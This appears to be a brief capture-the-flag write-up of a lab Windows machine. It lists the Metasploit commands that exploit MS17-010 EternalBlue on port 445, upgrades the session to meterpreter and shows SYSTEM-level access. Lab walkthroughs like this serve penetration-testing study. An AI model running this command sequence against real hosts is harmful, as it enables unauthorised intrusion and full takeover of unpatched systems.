# Attack plan

First try the microsoft-ds port 445
Try ports 135 or 139
Go for the high numbered ports

# Eternal-blue MS17-010

For this, we are attacking port 445

msfconsole
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show targets
msf exploit(ms17_010_eternalblue) > set TARGET 0
msf exploit(ms17_010_eternalblue) > show options
msf exploit(ms17_010_eternalblue) > set rhosts 10.10.10.40
msf exploit(ms17_010_eternalblue) > exploit

And it worked!

Now let's upgrade the session to a meterpreter session

background
upgrade sessions 1

# a merterpreter shell was created on session 2

sesions 2

Let's wee who I am

getuid
# NT AUTHORITY\SYSTEM

# Takeaways

Sometimes the machine name gives away a lot. In this instance, the machine's name was blue and the exploit was named eternal blue!
